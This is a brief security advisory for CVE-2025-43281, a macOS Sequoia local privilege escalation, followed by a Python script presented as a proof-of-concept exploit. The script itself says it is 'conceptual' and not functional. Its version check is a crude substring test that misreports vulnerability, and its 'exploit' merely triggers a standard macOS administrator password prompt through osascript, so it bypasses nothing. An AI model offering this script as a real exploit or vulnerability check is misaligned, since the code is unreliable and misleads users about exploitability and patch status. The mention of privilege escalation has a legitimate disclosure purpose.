The issue was addressed with improved authentication. This issue is fixed in macOS Sequoia 15.6. A local attacker may be able to elevate their privileges.
The following code is for security research and authorized testing only.
python
# CVE-2025-43281 - macOS Sequoia Local Privilege Escalation PoC (Conceptual)
# Note: This is a conceptual demonstration based on the vulnerability description.
# The actual exploit details are not publicly disclosed.
import subprocess
import os
import sys
def check_macos_version():
"""Check if the system is running a vulnerable macOS Sequoia version"""
result = subprocess.run(['sw_vers'], capture_output=True, text=True)
output = result.stdout
print(f"[*] System version info:\n{output}")
if '15.' in output and '15.6' not in output and '15.7' not in output:
print("[!] System appears to be running a vulnerable macOS Sequoia version")
return True
return False
def check_current_user():
"""Check current user privileges"""
user = os.getenv('USER')
uid = os.getuid()
print(f"[*] Current user: {user}, UID: {uid}")
if uid == 0:
print("[+] Already running as root")
return True
else:
print(f"[-] Running as non-root user (UID: {uid})")
return False
def exploit_attempt():
"""
Conceptual exploit attempt for CVE-2025-43281
The vulnerability exists in the authentication mechanism of macOS Sequoia.
A local attacker with low privileges can bypass authentication checks
to escalate privileges.
"""
print("[*] Attempting privilege escalation via CVE-2025-43281...")
# The actual exploitation would involve:
# 1. Identifying the vulnerable authentication component
# 2. Crafting a request that bypasses the authentication check
# 3. Leveraging the bypass to execute privileged operations
# Example conceptual approach (not functional without specific details):
try:
# Attempt to interact with a privileged system service
# that has insufficient authentication checks
result = subprocess.run(
['osascript', '-e', 'do shell script "whoami" with administrator privileges'],
capture_output=True, text=True, timeout=5
)
print(f"[*] Result: {result.stdout}")
except Exception as e:
print(f"[-] Exploit attempt failed: {e}")
def main():
print("=" * 60)
print("CVE-2025-43281 - macOS Sequoia LPE PoC (Conceptual)")
print("=" * 60)
if not check_macos_version():
print("[+] System is not vulnerable, exiting.")
sys.exit(0)
if check_current_user():
print("[+] Already have root privileges, no exploitation needed.")
sys.exit(0)
exploit_attempt()
print("[*] PoC execution completed.")
print("[*] Please update to macOS Sequoia 15.6 or later to patch this vulnerability.")
if __name__ == "__main__":
main()